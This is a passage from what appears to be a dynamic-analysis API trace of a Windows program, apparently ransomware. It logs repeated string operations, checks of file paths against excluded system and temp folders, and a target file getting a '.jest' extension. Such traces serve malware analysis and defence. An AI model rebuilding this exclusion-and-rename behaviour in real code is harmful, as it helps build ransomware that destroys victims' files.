[0121.082] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.082] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.082] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.082] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.082] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.082] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.082] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.082] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.082] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.082] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.082] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.082] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.082] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.082] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.083] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.083] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.083] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.083] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.083] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.083] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.083] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.083] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.083] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.083] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.083] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.083] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.083] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.083] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.084] GetFullPathNameA (in: lpFileName="2mPPz vLXDOxX 9-1oy0c3uqWSL-FhMSAOd2O6lQ uDxZpHA15UnBIkSZj9xz6KkVox86cotsz-4ME8D9_Le5lMzuGRH6HReo51O.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2mPPz vLXDOxX 9-1oy0c3uqWSL-FhMSAOd2O6lQ uDxZpHA15UnBIkSZj9xz6KkVox86cotsz-4ME8D9_Le5lMzuGRH6HReo51O.tmp", lpFilePart=0x18e708*="2mPPz vLXDOxX 9-1oy0c3uqWSL-FhMSAOd2O6lQ uDxZpHA15UnBIkSZj9xz6KkVox86cotsz-4ME8D9_Le5lMzuGRH6HReo51O.tmp") returned 0x8e [0121.084] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpFilePart=0x18e708*="oskmenu.xml") returned 0x4c [0121.084] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="2mPPz vLXDOxX 9-1oy0c3uqWSL-FhMSAOd2O6lQ uDxZpHA15UnBIkSZj9xz6KkVox86cotsz-4ME8D9_Le5lMzuGRH6HReo51O.tmp", cchWideChar=-1, lpMultiByteStr=0x18e6ec, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2mPPz vLXDOxX 9-1oy0c3uqWSL-FhMSAOd2O6lQ uDxZpHA15UnBIkSZj9xz6KkVox86cotsz-4ME8D9_Le5lMzuGRH6HReo51O.tmp", lpUsedDefaultChar=0x0) returned 105 [0121.084] GetFullPathNameA (in: lpFileName="2mPPz vLXDOxX 9-1oy0c3uqWSL-FhMSAOd2O6lQ uDxZpHA15UnBIkSZj9xz6KkVox86cotsz-4ME8D9_Le5lMzuGRH6HReo51O.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2mPPz vLXDOxX 9-1oy0c3uqWSL-FhMSAOd2O6lQ uDxZpHA15UnBIkSZj9xz6KkVox86cotsz-4ME8D9_Le5lMzuGRH6HReo51O.tmp", lpFilePart=0x18e6e4*="2mPPz vLXDOxX 9-1oy0c3uqWSL-FhMSAOd2O6lQ uDxZpHA15UnBIkSZj9xz6KkVox86cotsz-4ME8D9_Le5lMzuGRH6HReo51O.tmp") returned 0x8e [0121.084] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2mPPz vLXDOxX 9-1oy0c3uqWSL-FhMSAOd2O6lQ uDxZpHA15UnBIkSZj9xz6KkVox86cotsz-4ME8D9_Le5lMzuGRH6HReo51O.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x50506d32, cFileName="z vLXDOxX 9-1oy0c3uqWSL-FhMSAOd2O6lQ uDxZpHA15UnBIkSZj9xz6KkVox86cotsz-4ME8D9_Le5lMzuGRH6HReo51O.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0121.085] GetLastError () returned 0x2 [0121.085] GetLastError () returned 0x2 [0121.085] SetLastError (dwErrCode=0x2) [0121.085] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.085] lstrcpynW (in: lpString1=0x146ad84, lpString2="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_osknumpad.xml_a0b2cdc5X", iMaxLength=123 | out: lpString1="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_osknumpad.xml_a0b2cdc5") returned="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_osknumpad.xml_a0b2cdc5" [0121.085] lstrcpynW (in: lpString1=0x142fffc, lpString2="osknumpad.xml", iMaxLength=14 | out: lpString1="osknumpad.xml") returned="osknumpad.xml" [0121.088] lstrcpynW (in: lpString1=0x146ad84, lpString2="\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76", iMaxLength=116 | out: lpString1="\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76") returned="\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76" [0121.088] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0121.088] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76\\osknumpad.xml", cchLength=0x84 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76\\osknumpad.xml") returned 0x84 [0121.088] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0121.088] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76\\osknumpad.xml", cchLength=0x84 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76\\osknumpad.xml") returned 0x84 [0121.088] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0121.088] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76\\osknumpad.xml", cchLength=0x84 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76\\osknumpad.xml") returned 0x84 [0121.089] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0121.089] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76\\osknumpad.xml", cchLength=0x84 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76\\osknumpad.xml") returned 0x84 [0121.089] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0121.089] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76\\osknumpad.xml", cchLength=0x84 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76\\osknumpad.xml") returned 0x84 [0121.089] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0121.089] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76\\osknumpad.xml", cchLength=0x84 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76\\osknumpad.xml") returned 0x84 [0121.089] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0121.089] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0121.089] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0121.089] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0121.090] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0121.090] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0121.090] lstrcpynW (in: lpString1=0x144bb04, lpString2="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_oskpred.xml_423830b1", iMaxLength=121 | out: lpString1="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_oskpred.xml_423830b1") returned="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_oskpred.xml_423830b1" [0121.090] lstrcpynW (in: lpString1=0x14da79c, lpString2="oskpred.xml", iMaxLength=12 | out: lpString1="oskpred.xml") returned="oskpred.xml" [0121.090] lstrcpynW (in: lpString1=0x144bb04, lpString2="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions", iMaxLength=63 | out: lpString1="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions") returned="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions" [0121.090] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0121.090] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml", cchLength=0x4d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 0x4d [0121.090] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0121.090] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml", cchLength=0x4d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 0x4d [0121.091] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0121.091] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml", cchLength=0x4d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 0x4d [0121.091] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0121.091] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml", cchLength=0x4d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 0x4d [0121.091] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0121.091] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml", cchLength=0x4d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 0x4d [0121.091] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0121.091] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml", cchLength=0x4d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 0x4d [0121.091] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0121.092] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0121.092] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0121.092] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0121.092] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0121.092] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0121.094] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml", lpFilePart=0x18e870*="oskpred.xml") returned 0x4c [0121.106] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml.jest", lpFilePart=0x18e870*="oskpred.xml.jest") returned 0x51 [0121.108] SafeArrayDestroyDescriptor (psa=0x14da520) returned 0x0 [0121.108] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0121.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml", lpUsedDefaultChar=0x0) returned 77 [0121.108] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml", lpFilePart=0x18e6d8*="oskpred.xml") returned 0x4c [0121.108] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe00281, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe00281, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe00281, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x5c, dwReserved1=0x0, cFileName="oskpred.xml", cAlternateFileName="")) returned 0x143ce48 [0121.108] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0121.108] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0121.108] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml", lpFilePart=0x18e780*="oskpred.xml") returned 0x4c [0121.109] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.109] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml", lpFilePart=0x18e780*="oskpred.xml") returned 0x4c [0121.110] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.110] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x303)) [0121.110] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0121.110] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x303)) [0121.110] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x303)) [0121.110] GetUserDefaultLCID () returned 0x409 [0121.110] VarBstrFromR4 (in: fltIn=0x479442e3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75909.77") returned 0x0 [0121.110] VarCat (in: pvarLeft=0x18eab4, pvarRight=0x18eac4, pvarResult=0x18eaa4 | out: pvarResult=0x18eaa4) returned 0x0 [0121.111] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0121.111] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml", lpFilePart=0x18e780*="oskpred.xml") returned 0x4c [0121.111] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.111] GetCurrentProcessId () returned 0x9e0 [0121.111] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0121.111] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0121.112] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.112] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.112] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.112] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.112] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.112] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.112] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.112] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.112] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.112] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.112] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.113] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.113] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.113] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.113] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.113] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.113] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.113] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.113] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.113] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.113] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.113] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.113] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.113] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.114] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.114] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.114] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.114] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.114] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.114] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.114] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: 